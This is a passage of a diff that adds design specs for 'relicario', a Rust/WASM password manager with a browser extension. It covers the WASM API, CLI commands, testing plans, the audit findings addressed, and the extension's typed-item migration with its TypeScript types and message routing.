- L8: CLI vault-dir detection (refuse to operate outside an `.relicario/`-marked directory).
|
||||
|
||||
## WASM API Surface
|
||||
|
||||
The opaque session-handle pattern shapes the WASM API. All operations after `unlock` take a `SessionHandle`.
|
||||
|
||||
```rust
|
||||
#[wasm_bindgen]
|
||||
pub struct SessionHandle(u32);
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn unlock(passphrase: &str, image_bytes: &[u8], salt: &[u8],
|
||||
params_json: &str) -> Result<SessionHandle, JsError>;
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub fn lock(handle: SessionHandle);
|
||||
|
||||
// Manifest + items
|
||||
#[wasm_bindgen] pub fn manifest_load(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>;
|
||||
#[wasm_bindgen] pub fn manifest_serialize(handle: SessionHandle, manifest_json: &str) -> Result<Vec<u8>, JsError>;
|
||||
|
||||
#[wasm_bindgen] pub fn item_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>;
|
||||
#[wasm_bindgen] pub fn item_encrypt(handle: SessionHandle, item_json: &str) -> Result<Vec<u8>, JsError>;
|
||||
|
||||
#[wasm_bindgen] pub fn settings_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<JsValue, JsError>;
|
||||
#[wasm_bindgen] pub fn settings_encrypt(handle: SessionHandle, settings_json: &str) -> Result<Vec<u8>, JsError>;
|
||||
|
||||
// Attachments
|
||||
#[wasm_bindgen] pub fn attachment_encrypt(handle: SessionHandle, plaintext: &[u8]) -> Result<EncryptedAttachment, JsError>;
|
||||
#[wasm_bindgen] pub fn attachment_decrypt(handle: SessionHandle, encrypted: &[u8]) -> Result<Vec<u8>, JsError>;
|
||||
|
||||
#[wasm_bindgen]
|
||||
pub struct EncryptedAttachment {
|
||||
pub aid: String, // sha256 of plaintext, 16-char hex
|
||||
pub bytes: Vec<u8>,
|
||||
}
|
||||
|
||||
// Generators
|
||||
#[wasm_bindgen] pub fn generate_password(request_json: &str) -> Result<String, JsError>;
|
||||
#[wasm_bindgen] pub fn generate_passphrase(request_json: &str) -> Result<String, JsError>;
|
||||
#[wasm_bindgen] pub fn rate_passphrase(p: &str) -> Result<JsValue, JsError>;
|
||||
|
||||
// TOTP
|
||||
#[wasm_bindgen] pub fn totp_compute(handle: SessionHandle, item_id: &str, field_id: &str, now_unix: u64) -> Result<TotpCode, JsError>;
|
||||
#[wasm_bindgen] pub struct TotpCode { pub code: String, pub expires_at: u64 }
|
||||
|
||||
// Image-secret extraction (called during unlock; signature unchanged from today)
|
||||
#[wasm_bindgen] pub fn extract_image_secret(image_bytes: &[u8]) -> Result<Vec<u8>, JsError>;
|
||||
#[wasm_bindgen] pub fn embed_image_secret(image_bytes: &[u8], secret: &[u8]) -> Result<Vec<u8>, JsError>;
|
||||
|
||||
// Item ID generation
|
||||
#[wasm_bindgen] pub fn new_item_id() -> String; // 16-char hex
|
||||
#[wasm_bindgen] pub fn new_field_id() -> String;
|
||||
```
|
||||
|
||||
`JsValue` returns are `serde_wasm_bindgen`-serialized typed structs. The TS extension consumes them via generated declarations in `extension/src/wasm.d.ts`.
|
||||
|
||||
## CLI Surface
|
||||
|
||||
New commands and renamed semantics:
|
||||
|
||||
```bash
|
||||
# Existing (semantics carry forward, terminology updated to "item")
|
||||
relicario init
|
||||
relicario unlock # unlocks for next command
|
||||
relicario lock
|
||||
relicario sync # git pull --rebase + push, hardened
|
||||
relicario generate [--length N] [--bip39 [--words N]] [--symbols safe|extended]
|
||||
relicario device <add|list|revoke>
|
||||
|
||||
# Updated for typed items
|
||||
relicario add <type> [--title T] [--group G] [--tags t1,t2] [--favorite]
|
||||
[...type-specific fields, e.g., --username, --url, --password-prompt]
|
||||
relicario get <id-or-title> # always concealed by default; --show to reveal
|
||||
relicario list [--type T] [--group G] [--tag T] [--trashed]
|
||||
relicario edit <id-or-title> # interactive prompts for fields to update
|
||||
# (no $EDITOR with plaintext — temp-file leak risk)
|
||||
relicario rm <id-or-title> # soft-delete (trash)
|
||||
relicario restore <id-or-title> # restore from trash
|
||||
relicario purge <id-or-title> # hard-delete (also purges attachments)
|
||||
relicario trash empty # hard-delete all past retention
|
||||
|
||||
# New for attachments
|
||||
relicario attach <id-or-title> <file> # adds file as attachment
|
||||
relicario attachments <id-or-title> # list attachments on item
|
||||
relicario extract <id-or-title> <aid> [--out path] # decrypt + save to disk
|
||||
|
||||
# Settings
|
||||
relicario settings get [<key>]
|
||||
relicario settings set <key> <value> # e.g., trash_retention=days:60
|
||||
```
|
||||
|
||||
`relicario get` shows password as `********` by default. `--show` is required to print plaintext. Clipboard auto-clear unconditional after 30s with `Zeroizing<String>` wrap (audit M6, M7).
|
||||
|
||||
`vault_dir()` detection: traverses up from CWD looking for `.relicario/`. Refuses to operate without one (audit L8).
|
||||
|
||||
## Browser Extension UI Implications
|
||||
|
||||
This spec doesn't enumerate every UI screen — that's Phase 5 territory — but the data model imposes shape on the popup:
|
||||
|
||||
- **List view**: rendered from manifest only. Per-item: type-icon, title, group/tags, favorite indicator, attachment-count badge.
|
||||
- **Detail view**: per-type form. Each type's form lives in `extension/src/popup/components/items/<type>.ts` (mirrors the per-type module on the Rust side). Adding a new type later means adding the Rust core file + the TypeScript form file + entries in two enum-like dispatchers.
|
||||
- **Field rendering**: each `FieldKind` has a known renderer (`Password` → reveal-toggle + copy + generate; `Totp` → rotating display + countdown bar; `Url` → click-to-open; etc.).
|
||||
- **Custom fields**: rendered in their `Section`, with the user able to add/remove/rename sections and fields inline.
|
||||
- **History view**: per-item button shows `field_history` table (timestamps + reveal-toggle for old values).
|
||||
- **Trash view**: filtered list of items where `trashed_at != null`, with restore + purge actions.
|
||||
- **Settings view**: vault-level retention/generators/caps. Existing capture/blacklist settings move into this consolidated view.
|
||||
|
||||
Setup wizard, capture flow, autofill icon, and unlock screen all continue to exist in their current locations but updated for the security architecture (closed Shadow DOM for capture; popup-only sender check for setup).
|
||||
|
||||
## Testing Strategy
|
||||
|
||||
### Unit tests (Rust)
|
||||
|
||||
- **`item_types/`**: per-type round-trip tests (construct → serialize → deserialize → equal), boundary cases (empty optional fields, max-length strings).
|
||||
- **`field_history`**: setter triggers history on Password/Concealed/Totp; setter ignores history on Text/Url/etc.; retention pruning honors `LastN`/`Days`/`Forever` modes.
|
||||
- **`crypto`**: length-prefix construction round-trip; verify two distinct `(passphrase, image_secret)` pairs produce distinct master keys (extends existing two-factor independence test); Zeroize-drop test using `tracking_allocator` to verify wipe.
|
||||
- **`generators`**: bip39 produces requested word count; random-charset honors class toggles; Uniform sampling produces no measurable bias over 100k samples per charset.
|
||||
- **`session`**: handle table inserts/removes; `lock()` clears the underlying buffer.
|
||||
|
||||
### Integration tests (Rust)
|
||||
|
||||
- **`tests/typed_items.rs`**: full workflow — init vault, add Login + Card + Document + TOTP, list, edit (verify history captured), soft-delete, restore, purge.
|
||||
- **`tests/migration.rs`**: explicit "v1 vault is rejected" test (no compat shim — confirm the new client refuses old format with a clear error).
|
||||
- **Existing `tests/integration.rs`**: keep the two-factor independence + full-workflow tests, port to the new Item type.
|
||||
|
||||
### WASM tests
|
||||
|
||||
- **`wasm-bindgen-test`** for: session handle lifecycle (`unlock` → `list_items` → `lock`), generator output sanity, RFC 6238 TOTP test vectors, attachment round-trip, manifest round-trip.
|
||||
- **Browser-flavored test**: load WASM in a headless Chrome via `wasm-pack test --chrome --headless`.
|
||||
|
||||
### Extension tests
|
||||
|
||||
- **Service worker router**: mock `chrome.runtime.onMessage` and verify each message type is rejected when sent from the wrong sender (popup-only from content, content-callable from popup, anything from external).
|
||||
- **Origin-bound autofill**: mock `sender.tab.url` and verify cross-origin requests are rejected even when the content script asks nicely.
|
||||
- **Closed Shadow DOM**: render the capture prompt, verify the page-side `document.querySelector('#relicario-save-btn')` returns null.
|
||||
- **Generator**: verify no `Math.random()` reachable from any extension entry point (lint rule + runtime probe).
|
||||
|
||||
### Manual / observational
|
||||
|
||||
- **Heap snapshot of SW after unlock**: inspect WASM linear memory in DevTools and verify master_key bytes are not visible from JS.
|
||||
- **GitHub + Gitea + self-hosted Gitea**: full add → attach 5MB doc → sync round-trip on each.
|
||||
- **Conflict reproduction**: two devices edit the same item, verify merge-conflict prompt fires.
|
||||
|
||||
## Open Questions / Deferred to Plan
|
||||
|
||||
- Exact UI shape for the per-type forms (Phase 5 concern — but Phase 1 implementation will land minimal viable forms for each of the 7 types so the data model is exercisable).
|
||||
- Field-level merge for conflicting item edits (post-MVP).
|
||||
- Item-to-item references (e.g., a Login that points at a Key for SSH) — `FieldKind::Reference` currently only points at attachments; expand to ItemReference in a later phase if useful.
|
||||
- Per-attachment encryption key derivation — currently using the master key directly with a fresh nonce per file. Consider a per-attachment subkey via HKDF for additional defense-in-depth (post-MVP).
|
||||
- Steam Guard TOTP encoding details.
|
||||
- HOTP counter conflict resolution. Counter lives in `TotpConfig.kind = Hotp(counter)`, persisted in the item file; each code generation rewrites the item with `counter + 1`. Sync conflicts on a HOTP counter resolve to `max(local, remote)` (advancing past either side's last-used code is correct; falling back is not). To be enforced in the conflict-merge code path.
|
||||
|
||||
## Appendix A — Audit Findings Addressed by This Design
|
||||
|
||||
| Audit ID | Severity | How this spec addresses it |
|
||||
|---|---|---|
|
||||
| C1 | Critical | Setup wizard removed from WAR; sender check on `save_setup` |
|
||||
| C2 | Critical | Split message router with sender-based dispatch |
|
||||
| C3 | Critical | Closed Shadow DOM + textContent for all content-script UI |
|
||||
| C4 | Critical | Origin-bound autofill (`sender.tab.url` only, hostname match required) |
|
||||
| H1 | High | Length-prefixed `passphrase \|\| image_secret`; NFC normalization |
|
||||
| H2 | High | `Zeroizing<>` everywhere; opaque session handles (master_key never crosses WASM boundary) |
|
||||
| H3 | High | `zxcvbn` strength gate at vault creation |
|
||||
| H4 | High | Hardened git shell-out (no hooks, no GPG sign, no editor; specific paths) |
|
||||
| H5 | High | `getrandom` for all randomness in WASM; no `Math.random()` |
|
||||
| H6 | High | `rand::distributions::Uniform` in CLI generator |
|
||||
| H7 | High | Bump `rpassword` to 7.x (Phase 0) |
|
||||
| H8 | High | Documented in setup wizard + README; fine-grained PAT guidance |
|
||||
| M4 | Medium | Opaque `RelicarioError::Decrypt` for all decrypt failures |
|
||||
| M5 | Medium | Popup captures `(tab.id, tab.url)` at open; verifies on `fill_credentials` |
|
||||
| M8 | Medium | 16-char hex IDs |
|
||||
| M9 | Medium | Item type discriminant validation in deserializer |
|
||||
| L11 | Low | Lint rule mandates double-quote attributes in templates |
|
||||
|
||||
Phase 0 implementation handles the remaining items (M3, M6, M7, M11, L7, L8) outside this spec.
|
||||
|
||||
## Appendix B — Files Touched
|
||||
|
||||
New files (Rust):
|
||||
|
||||
```
|
||||
crates/relicario-core/src/item.rs # Item, Section, Field, FieldKind, FieldValue
|
||||
crates/relicario-core/src/item_types/mod.rs
|
||||
crates/relicario-core/src/item_types/login.rs
|
||||
crates/relicario-core/src/item_types/secure_note.rs
|
||||
crates/relicario-core/src/item_types/identity.rs
|
||||
crates/relicario-core/src/item_types/card.rs
|
||||
crates/relicario-core/src/item_types/key.rs
|
||||
crates/relicario-core/src/item_types/document.rs
|
||||
crates/relicario-core/src/item_types/totp.rs
|
||||
crates/relicario-core/src/manifest.rs # rewritten
|
||||
crates/relicario-core/src/settings.rs
|
||||
crates/relicario-core/src/generators.rs
|
||||
crates/relicario-core/src/attachment.rs
|
||||
crates/relicario-wasm/src/session.rs
|
||||
```
|
||||
|
||||
New files (extension):
|
||||
|
||||
```
|
||||
extension/src/service-worker/router/index.ts
|
||||
extension/src/service-worker/router/popup-only.ts
|
||||
extension/src/service-worker/router/content-callable.ts
|
||||
extension/src/popup/components/items/login.ts
|
||||
extension/src/popup/components/items/secure-note.ts
|
||||
extension/src/popup/components/items/identity.ts
|
||||
extension/src/popup/components/items/card.ts
|
||||
extension/src/popup/components/items/key.ts
|
||||
extension/src/popup/components/items/document.ts
|
||||
extension/src/popup/components/items/totp.ts
|
||||
extension/src/popup/components/trash.ts
|
||||
extension/src/popup/components/history.ts
|
||||
```
|
||||
|
||||
Heavily modified (Rust):
|
||||
|
||||
```
|
||||
crates/relicario-core/src/lib.rs # re-exports + module declarations
|
||||
crates/relicario-core/src/crypto.rs # length-prefix KDF, Zeroize, NFC
|
||||
crates/relicario-core/src/entry.rs # DELETED — replaced by item.rs
|
||||
crates/relicario-core/src/error.rs # opaque Decrypt variant only
|
||||
crates/relicario-core/Cargo.toml # add zeroize, zxcvbn, bip39, unicode-normalization
|
||||
crates/relicario-wasm/src/lib.rs # session-handle API, getrandom
|
||||
crates/relicario-wasm/Cargo.toml # update deps
|
||||
crates/relicario-cli/src/main.rs # rewritten command handlers
|
||||
crates/relicario-cli/Cargo.toml # rpassword = "7", clipboard hardening
|
||||
```
|
||||
|
||||
Heavily modified (extension):
|
||||
|
||||
```
|
||||
extension/manifest.json # WAR cleanup
|
||||
extension/manifest.firefox.json # WAR cleanup
|
||||
extension/src/service-worker/index.ts # → router/index.ts
|
||||
extension/src/service-worker/vault.ts # typed-item operations
|
||||
extension/src/service-worker/git-host.ts # putBlob with Git Data API fallback
|
||||
extension/src/service-worker/gitea.ts # putBlob impl
|
||||
extension/src/service-worker/github.ts # putBlob impl
|
||||
extension/src/content/capture.ts # closed Shadow DOM
|
||||
extension/src/content/icon.ts # closed Shadow DOM
|
||||
extension/src/content/detector.ts # bound page-derived strings
|
||||
extension/src/popup/popup.ts # typed-item dispatch
|
||||
extension/src/popup/components/entry-list.ts # → item-list.ts
|
||||
extension/src/popup/components/entry-detail.ts # → dispatcher to per-type detail
|
||||
extension/src/popup/components/entry-form.ts # → dispatcher to per-type form
|
||||
extension/src/popup/components/settings.ts # vault settings (retention, generators, caps)
|
||||
extension/src/popup/components/setup-wizard.ts # zxcvbn integration
|
||||
extension/src/setup/setup.ts # zxcvbn integration
|
||||
extension/src/shared/types.ts # Item, ItemType, FieldKind, etc.
|
||||
extension/src/shared/messages.ts # split per router surface
|
||||
extension/src/wasm.d.ts # session-handle types
|
||||
```
|
||||
|
||||
Documentation:
|
||||
|
||||
```
|
||||
README.md # update for typed items, security warnings
|
||||
CLAUDE.md # reflect new module structure
|
||||
docs/superpowers/specs/2026-04-11-relicario-design.md # amend KDF section per H1; note format v2
|
||||
```
|
||||
@@ -0,0 +1,584 @@
|
||||
# relicario — Extension Plan 1C-α (Foundation) Design
|
||||
|
||||
First of three sub-plans that port the browser extension from the v1 single-`Entry` data model to the typed-item model landed in Plans 1A + 1B. 1C-α is the **foundation slice**: rebuild the WASM artifact, migrate shared types, rewrite the service worker against the opaque `SessionHandle` surface, split the message router with sender checks, wire the full security architecture from the typed-items spec, and achieve Login-parity on the new stack. Other six item types show "Coming in 1C-β" placeholders.
|
||||
|
||||
This spec references the broader design at `docs/superpowers/specs/2026-04-18-relicario-typed-items-design.md` — read that for the cryptographic envelope, data-model rationale, and threat model. This document is the extension-side implementation design for the first of the three 1C sub-plans.
|
||||
|
||||
## Plan 1C decomposition
|
||||
|
||||
| Sub-plan | Scope |
|
||||
|---|---|
|
||||
| **1C-α (this spec)** | WASM rebuild, shared types, service-worker rewrite, router split, security architecture, Login-parity popup, setup-wizard zxcvbn, Firefox parity |
|
||||
| 1C-β | Per-type forms for the other six types, sections + custom fields, full vault-settings UI, generator-request UI |
|
||||
| 1C-γ | Attachments (with `putBlob` Git-Data-API fallback), trash view, field-history view, device management |
|
||||
|
||||
Each sub-plan gets its own spec → plan → implementation cycle.
|
||||
|
||||
## Design Decisions
|
||||
|
||||
Captured during brainstorming:
|
||||
|
||||
| Question | Decision | Why |
|
||||
|---|---|---|
|
||||
| How many sub-plans? | Three (α/β/γ) | Single plan is too large to review or execute without drift; three sub-plans give natural checkpoints |
|
||||
| What's "done" for 1C-α? | **Login-parity on the new stack** — all existing single-`Entry` flows re-expressed as `Item::Login`; other six types show "coming soon" | Validates the full pipeline end-to-end (item + manifest + git commit) before β's UI sprawl; keeps extension usable during β |
|
||||
| Firefox in scope for α? | Yes, concurrent with Chrome | Shared TS source; marginal extra cost; avoids mid-β surprises from silent rot |
|
||||
| Where do capture UX prefs + blacklist live? | `chrome.storage.local` (device-local) | TOFU origin-ack is a security posture (vault-level); capture prompt style is a UX preference that genuinely differs per device; blacklist churn pollutes git log |
|
||||
| zxcvbn strength gate in α or β? | **α** | Audit H3 (security); leaving a weak-passphrase window open during β is the same shape of mistake as leaving autofill origin-unbound during α |
|
||||
| Sequencing | **Bottom-up six-slice** (WASM artifact → types → SW vault/session → router → security → popup rewire + zxcvbn) | Matches Plan 1B's small-task cadence; gives the plan-executor clean checkpoints |
|
||||
|
||||
## Scope
|
||||
|
||||
### In
|
||||
|
||||
- **WASM artifact** rebuilt from `relicario-wasm` crate (replacing stale `idfoto_wasm*` files).
|
||||
- **Shared TypeScript types / messages** migrated to the typed-item surface (`Item`, `ItemCore`, `Manifest` v2, `AttachmentRef`, plus the minimal `VaultSettings` subset needed for origin-ack).
|
||||
- **Service-worker rewrite**: `SessionHandle`-based `session.ts`, rewritten `vault.ts`, split `router/{index,popup-only,content-callable}.ts` with sender checks.
|
||||
- **Security architecture**:
|
||||
- WAR cleanup — `setup.html`, `setup.js`, wasm artifacts dropped.
|
||||
- Setup opened via `chrome.tabs.create`.
|
||||
- Origin-bound autofill (`sender.tab.url` only, hostname equality, top-frame only).
|
||||
- TOFU origin-ack via `VaultSettings.autofill_origin_acks`.
|
||||
- Popup captured-tab verification for `fill_credentials` (audit M5).
|
||||
- Closed Shadow DOM for all content-script UI.
|
||||
- `textContent`-only DOM construction; randomized-per-prompt element references; bounded page-derived strings.
|
||||
- **Login-parity popup**: view, add, edit, delete, autofill, capture for `Item::Login`. Other six types appear in the "New…" menu but open a "Coming in 1C-β" placeholder.
|
||||
- **Setup wizard**: zxcvbn strength meter + `score >= 3` gate (via new `rate_passphrase` message).
|
||||
- **Firefox build** re-verified with the new manifest + webpack config.
|
||||
|
||||
### Out (→ 1C-β / 1C-γ)
|
||||
|
||||
- Per-type forms for SecureNote / Identity / Card / Key / Document / Totp (β).
|
||||
- Sections + custom fields UI (β).
|
||||
- Full vault-settings view (retention policies, generator defaults, attachment caps) — α touches `settings.enc` only for origin-ack (β).
|
||||
- Attachments and `putBlob` Git-Data-API fallback — Login items fit Contents API (γ).
|
||||
- Trash view, field-history view (γ).
|
||||
- Device management UI — CLI already handles it (γ).
|
||||
- BIP39 / advanced generator-request UI — α uses a default `Random { length: 20, classes: lower+upper+digits+symbols, symbol_charset: SafeOnly }` for the "gen" button (β).
|
||||
|
||||
## File Map
|
||||
|
||||
### New files
|
||||
|
||||
```
|
||||
extension/src/service-worker/session.ts # SessionHandle lifecycle
|
||||
extension/src/service-worker/router/index.ts # single onMessage entry + sender dispatch
|
||||
extension/src/service-worker/router/popup-only.ts # popup-callable handlers
|
||||
extension/src/service-worker/router/content-callable.ts # content-script-callable handlers
|
||||
extension/src/service-worker/router/__tests__/router.test.ts # sender-check + origin-bound autofill tests
|
||||
extension/src/content/shadow.ts # closed Shadow DOM host helper
|
||||
extension/src/shared/base32.ts # base32 encode/decode for TOTP field parse
|
||||
```
|
||||
|
||||
### Rewritten
|
||||
|
||||
```
|
||||
extension/src/shared/types.ts # Item, ItemCore, FieldKind, VaultSettings, ManifestEntry v2
|
||||
extension/src/shared/messages.ts # PopupMessage + ContentMessage unions
|
||||
extension/src/service-worker/vault.ts # typed-item ops via SessionHandle
|
||||
extension/src/service-worker/index.ts # thin init + WASM load, delegates to router
|
||||
extension/src/content/capture.ts # closed Shadow DOM, textContent
|
||||
extension/src/content/icon.ts # closed Shadow DOM, textContent
|
||||
extension/src/popup/popup.ts # item dispatch, captured-tab snapshot on init
|
||||
extension/src/popup/components/entry-list.ts # → item-list.ts
|
||||
extension/src/popup/components/entry-detail.ts # → item-detail.ts (Login dispatcher + "coming soon")
|
||||
extension/src/popup/components/entry-form.ts # → item-form.ts (Login dispatcher + "coming soon")
|
||||
extension/src/popup/components/setup-wizard.ts # zxcvbn meter + gate
|
||||
extension/src/setup/setup.ts # zxcvbn meter + gate (mirror)
|
||||
extension/src/wasm.d.ts # mirror crates/relicario-wasm/src/lib.rs
|
||||
extension/manifest.json # WAR cleanup
|
||||
extension/manifest.firefox.json # WAR cleanup
|
||||
```
|
||||
|
||||
### Deleted
|
||||
|
||||
```
|
||||
extension/wasm/idfoto_wasm* # stale pre-rename artifact
|
||||
```
|
||||
|
||||
## WASM Artifact
|
||||
|
||||
`npm run build:wasm` already targets `../crates/relicario-wasm --out-dir ../../extension/wasm`. Running it produces `relicario_wasm.js`, `relicario_wasm_bg.wasm`, and `relicario_wasm.d.ts` in the output directory. Delete the stale `idfoto_wasm*` files. Both webpack configs already import from `../../wasm/relicario_wasm.js` — no config edits required.
|
||||
|
||||
`wasm.d.ts` currently mirrors the Plan 1B surface; skim it for drift against `crates/relicario-wasm/src/lib.rs` after the rebuild (particularly the `attachment_encrypt` third argument `max_bytes: bigint`).
|
||||
|
||||
## Shared Types (`shared/types.ts`)
|
||||
|
||||
Mirror the Rust core verbatim through serde serialization. The Rust-side shapes use a mix of `snake_case`, internal tagging (`#[serde(tag = "type")]` for `ItemCore`, `tag = "kind"` for `GeneratorRequest`), adjacent tagging (`tag = "kind", content = "value"` for `FieldValue`, `TrashRetention`, `HistoryRetention`, `SymbolCharset`), and default external tagging (`TotpKind`). The TS types must match exactly:
|
||||
|
||||
```ts
|
||||
export type ItemId = string; // 16-char hex
|
||||
export type FieldId = string;
|
||||
export type AttachmentId = string;
|
||||
|
||||
// snake_case strings, matches serde rename_all = "snake_case"
|
||||
export type ItemType = 'login' | 'secure_note' | 'identity' | 'card' | 'key' | 'document' | 'totp';
|
||||
|
||||
export interface Item {
|
||||
id: ItemId;
|
||||
title: string;
|
||||
type: ItemType; // Rust's `r#type` serializes as `type`
|
||||
tags: string[];
|
||||
favorite: boolean;
|
||||
group?: string; // omitted when None (#[serde(skip_serializing_if)])
|
||||
notes?: string;
|
||||
created: number;
|
||||
modified: number;
|
||||
trashed_at?: number;
|
||||
core: ItemCore; // internally-tagged on `"type"` — see below
|
||||
sections: Section[];
|
||||
attachments: AttachmentRef[];
|
||||
field_history: Record<FieldId, FieldHistoryEntry[]>;
|
||||
}
|
||||
|
||||
// Internally-tagged: ItemCore variant's fields get merged with `"type"` discriminant.
|
||||
// Example wire format for Login: { "type": "login", "username": "...", ... }
|
||||
export type ItemCore =
|
||||
| ({ type: 'login' } & LoginCore)
|
||||
| ({ type: 'secure_note' } & SecureNoteCore)
|
||||
| ({ type: 'identity' } & IdentityCore)
|
||||
| ({ type: 'card' } & CardCore)
|
||||
| ({ type: 'key' } & KeyCore)
|
||||
| ({ type: 'document' } & DocumentCore)
|
||||
| ({ type: 'totp' } & TotpCore);
|
||||
|
||||
export interface LoginCore {
|
||||
username?: string;
|
||||
password?: string;
|
||||
url?: string; // Rust serializes `Url` as its string form
|
||||
totp?: TotpConfig;
|
||||
}
|
||||
|
||||
// TotpKind is externally-tagged (default for enums without #[serde(tag)]):
|
||||
// Totp → "totp" (unit variant serializes as bare string)
|
||||
// Hotp{counter}→ { "hotp": { "counter": 42 } }
|
||||
// Steam → "steam"
|
||||
export type TotpKind = 'totp' | 'steam' | { hotp: { counter: number } };
|
||||
|
||||
export interface TotpConfig {
|
||||
secret: number[]; // Vec<u8> → JSON number array
|
||||
algorithm: 'sha1' | 'sha256' | 'sha512';
|
||||
digits: number;
|
||||
period_seconds: number;
|
||||
kind: TotpKind;
|
||||
}
|
||||
|
||||
// Populated minimally for α (structural shape only, no UI); β fills in:
|
||||
export interface SecureNoteCore { body: string; }
|
||||
export interface IdentityCore { /* ... */ }
|
||||
export interface CardCore { /* ... */ }
|
||||
export interface KeyCore { /* ... */ }
|
||||
export interface DocumentCore { filename: string; mime_type: string; primary_attachment: AttachmentId; }
|
||||
export interface TotpCore { config: TotpConfig; issuer: string | null; label: string | null; }
|
||||
|
||||
export interface Manifest {
|
||||
schema_version: number;
|
||||
items: Record<ItemId, ManifestEntry>;
|
||||
}
|
||||
|
||||
export interface ManifestEntry {
|
||||
id: ItemId;
|
||||
type: ItemType;
|
||||
title: string;
|
||||
tags: string[];
|
||||
favorite: boolean;
|
||||
group: string | null;
|
||||
icon_hint: string | null;
|
||||
modified: number;
|
||||
trashed_at: number | null;
|
||||
attachment_summaries: AttachmentSummary[];
|
||||
}
|
||||
|
||||
export interface VaultSettings {
|
||||
trash_retention: unknown; // opaque in α; full shape in β
|
||||
field_history_retention: unknown;
|
||||
generator_defaults: unknown;
|
||||
attachment_caps: unknown;
|
||||
autofill_origin_acks: Record<string, number>;
|
||||
}
|
||||
|
||||
export interface DeviceSettings { // chrome.storage.local shape (was RelicarioSettings)
|
||||
captureEnabled: boolean;
|
||||
captureStyle: 'bar' | 'toast';
|
||||
}
|
||||
|
||||
// GeneratorRequest is internally-tagged on "kind", struct variants:
|
||||
export type GeneratorRequest =
|
||||
| { kind: 'bip39'; word_count: number; separator: string; capitalization: Capitalization }
|
||||
| { kind: 'random'; length: number; classes: CharClasses; symbol_charset: SymbolCharset };
|
||||
|
||||
export type Capitalization = 'lower' | 'upper' | 'first_of_each' | 'title' | 'mixed';
|
||||
export interface CharClasses { lower: boolean; upper: boolean; digits: boolean; symbols: boolean; }
|
||||
|
||||
// SymbolCharset is adjacently-tagged { tag: "kind", content: "value" }:
|
||||
export type SymbolCharset =
|
||||
| { kind: 'safe_only' }
|
||||
| { kind: 'extended' }
|
||||
| { kind: 'custom'; value: string };
|
||||
|
||||
// TrashRetention / HistoryRetention use the same adjacent tagging:
|
||||
export type TrashRetention =
|
||||
| { kind: 'forever' }
|
||||
| { kind: 'days'; value: number };
|
||||
|
||||
export type HistoryRetention =
|
||||
| { kind: 'forever' }
|
||||
| { kind: 'last_n'; value: number }
|
||||
| { kind: 'days'; value: number };
|
||||
|
||||
// FieldValue adjacently-tagged { tag: "kind", content: "value" }, snake_case:
|
||||
export type FieldValue =
|
||||
| { kind: 'text'; value: string }
|
||||
| { kind: 'multiline'; value: string }
|
||||
| { kind: 'password'; value: string }
|
||||
| { kind: 'concealed'; value: string }
|
||||
| { kind: 'url'; value: string } // Url → string
|
||||
| { kind: 'email'; value: string }
|
||||
| { kind: 'phone'; value: string }
|
||||
| { kind: 'date'; value: string } // chrono NaiveDate → "YYYY-MM-DD"
|
||||
| { kind: 'month_year'; value: { month: number; year: number } }
|
||||
| { kind: 'totp'; value: TotpConfig }
|
||||
| { kind: 'reference'; value: AttachmentId };
|
||||
|
||||
export type FieldKind =
|
||||
| 'text' | 'multiline' | 'password' | 'concealed' | 'url' | 'email'
|
||||
| 'phone' | 'date' | 'month_year' | 'totp' | 'reference';
|
||||
```
|
||||
|
||||
Plus `Section`, `Field`, `AttachmentRef`, `AttachmentSummary`, `FieldHistoryEntry` as declared. Most are unused by α's UI but present so the type-check catches drift with the Rust side.
|
||||
|
||||
The serialization shapes above are verified in slice 3's smoke test: `item_encrypt(handle, JSON.stringify(loginItem))` round-trips through `item_decrypt` with structural equality against a Rust-side item written by the CLI.
|
||||
|
||||
## Messages (`shared/messages.ts`)
|
||||
|
||||
Two unions, so TypeScript itself enforces the router boundary:
|
||||
|
||||
```ts
|
||||
export type PopupMessage =
|
||||
| { type: 'is_unlocked' }
|
||||
| { type: 'unlock'; passphrase: string }
|
||||
| { type: 'lock' }
|
||||
| { type: 'list_items'; group?: string }
|
||||
| { type: 'get_item'; id: ItemId }
|
||||
| { type: 'add_item'; item: Item }
|
||||
| { type: 'update_item'; id: ItemId; item: Item }
|
||||
| { type: 'delete_item'; id: ItemId } // soft-delete (sets trashed_at)
|
||||
| { type: 'get_totp'; id: ItemId }
|
||||
| { type: 'sync' }
|
||||
| { type: 'get_setup_state' }
|
||||
| { type: 'save_setup'; config: VaultConfig; imageBase64: string }
|
||||
| { type: 'rate_passphrase'; passphrase: string }
|
||||
| { type: 'generate_password'; request: GeneratorRequest }
|
||||
| { type: 'fill_credentials'; id: ItemId; capturedTabId: number; capturedUrl: string }
|
||||
| { type: 'ack_autofill_origin'; hostname: string }
|
||||
| { type: 'get_settings' } // DeviceSettings (local)
|
||||
| { type: 'update_settings'; settings: Partial<DeviceSettings> }
|
||||
| { type: 'get_blacklist' }
|
||||
| { type: 'remove_blacklist'; hostname: string };
|
||||
|
||||
export type ContentMessage =
|
||||
| { type: 'get_autofill_candidates' } // url comes from sender.tab.url
|
||||
| { type: 'get_credentials'; id: ItemId } // origin-checked against sender.tab.url
|
||||
| { type: 'check_credential'; username: string; password: string } // url from sender
|
||||
| { type: 'blacklist_site' }; // hostname from sender
|
||||
|
||||
export type Request = PopupMessage | ContentMessage;
|
||||
```
|
||||
|
||||
Deliberate omissions: `get_autofill_candidates`, `check_credential`, `blacklist_site` no longer carry a `url` — the SW derives it from `sender.tab.url`. `fill_credentials` now takes an item id + captured tab state instead of raw credentials, so the SW can re-verify origin on the forwarding hop.
|
||||
|
||||
## Service Worker
|
||||
|
||||
### `service-worker/session.ts`
|
||||
|
||||
Single module-scope "current" `SessionHandle` (single-vault assumption per the broader spec).
|
||||
|
||||
```ts
|
||||
import type { SessionHandle } from '../../wasm/relicario_wasm';
|
||||
|
||||
let current: SessionHandle | null = null;
|
||||
|
||||
export function setCurrent(h: SessionHandle): void { current = h; }
|
||||
export function getCurrent(): SessionHandle | null { return current; }
|
||||
export function clearCurrent(): void {
|
||||
if (!current) return;
|
||||
try { current.free(); } catch { /* already freed */ }
|
||||
current = null;
|
||||
}
|
||||
export function requireCurrent(): SessionHandle {
|
||||
if (!current) throw new Error('vault_locked');
|
||||
return current;
|
||||
}
|
||||
```
|
||||
|
||||
